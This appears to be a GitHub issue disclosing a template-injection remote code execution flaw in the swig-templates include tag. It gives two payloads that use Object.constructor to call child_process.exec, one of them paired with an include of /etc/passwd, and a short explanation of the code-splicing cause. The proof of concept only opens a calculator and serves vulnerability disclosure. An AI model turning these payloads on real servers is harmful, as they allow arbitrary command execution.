You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
{{ message }}
This repository has been archived by the owner on Feb 3, 2023. It is now read-only.
You need to ensure that the 1.html file exists
{% include "./1.html"+Object.constructor("global.process.mainModule.require('child_process').exec('open -a Calculator.app')")() %}
or just use /etc/passwd
{% include "/etc/passwd"+Object.constructor("global.process.mainModule.require('child_process').exec('open -a Calculator.app')")() %}
official doc
poc
tpl.html
run.js
the code above will execute
open -a Calculator.app
commandgif: http://cdn2.pic.y1ng.vip/uPic/2023/02/01/m1-134548_iShot_2023-02-01_13.45.05.gif
Reason
include.js will do some code splicing
swig-templates/lib/tags/include.js
Lines 39 to 52 in 313bed1
the return value will be added to var
out
swig-templates/lib/parser.js
Lines 891 to 899 in 313bed1
finally the value of
out
:the
out
will be used to make an anonymous function, and then call the functionif you debug in detail, you will find that it will
call
the following anonymous funciton:The text was updated successfully, but these errors were encountered: